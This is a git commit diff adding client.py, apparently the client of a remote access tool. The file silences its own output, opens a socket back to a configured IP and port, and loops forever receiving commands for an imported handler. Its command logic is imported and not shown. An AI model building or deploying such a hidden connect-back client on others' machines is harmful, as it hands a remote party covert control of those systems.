diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /client.py |
Diffstat (limited to 'client.py')
-rw-r--r-- | client.py | 29 |
1 files changed, 29 insertions, 0 deletions
diff --git a/client.py b/client.py new file mode 100644 index 0000000..1bf6585 --- /dev/null +++ b/client.py @@ -0,0 +1,29 @@ +import multiprocessing +import contextlib +import socket +import os + +from foreign.parse.crash_exception_handling import * +from foreign.parse.command_handling import * +from binary.data_handling.recv_data import * +from foreign.utility.program_setup import * +from foreign.global_state import * + + +@crash_exception_handling +def main(): + state['file'] = '{}/{}'.format(os.getcwd().replace('\\', '/'), __file__.replace('.py', '.exe')) + program_setup() + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((state['ip'], state['port'])) + + while True: + recv_data(s, (state['settings']['encryption'], state['settings']['headersize']), command_handling) + + +if __name__ == '__main__': + with open(os.devnull, 'w') as devnull: + with contextlib.redirect_stdout(devnull): + multiprocessing.freeze_support() + main()
\ No newline at end of file |